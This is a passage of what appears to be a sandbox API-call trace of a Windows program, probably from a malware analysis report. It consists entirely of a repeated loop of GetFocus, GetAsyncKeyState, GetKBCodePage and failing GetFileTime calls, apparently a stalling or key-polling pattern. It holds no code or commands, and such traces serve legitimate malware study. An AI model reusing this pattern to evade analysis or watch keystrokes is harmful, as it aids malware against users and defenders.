lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.745] GetFocus () returned 0x0 [0256.745] GetAsyncKeyState (vKey=58) returned 0 [0256.745] GetKBCodePage () returned 0x1b5 [0256.745] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.745] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.746] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.746] GetFocus () returned 0x0 [0256.746] GetAsyncKeyState (vKey=58) returned 0 [0256.746] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.747] GetFocus () returned 0x0 [0256.747] GetAsyncKeyState (vKey=58) returned 0 [0256.747] GetKBCodePage () returned 0x1b5 [0256.747] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.748] GetAsyncKeyState (vKey=58) returned 0 [0256.748] GetKBCodePage () returned 0x1b5 [0256.748] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.748] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.749] GetFocus () returned 0x0 [0256.749] GetAsyncKeyState (vKey=58) returned 0 [0256.749] GetKBCodePage () returned 0x1b5 [0256.749] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.750] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.750] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.750] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.750] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.750] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.750] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.750] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.750] GetFocus () returned 0x0 [0256.750] GetAsyncKeyState (vKey=58) returned 0 [0256.750] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.751] GetFocus () returned 0x0 [0256.751] GetAsyncKeyState (vKey=58) returned 0 [0256.751] GetKBCodePage () returned 0x1b5 [0256.751] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] 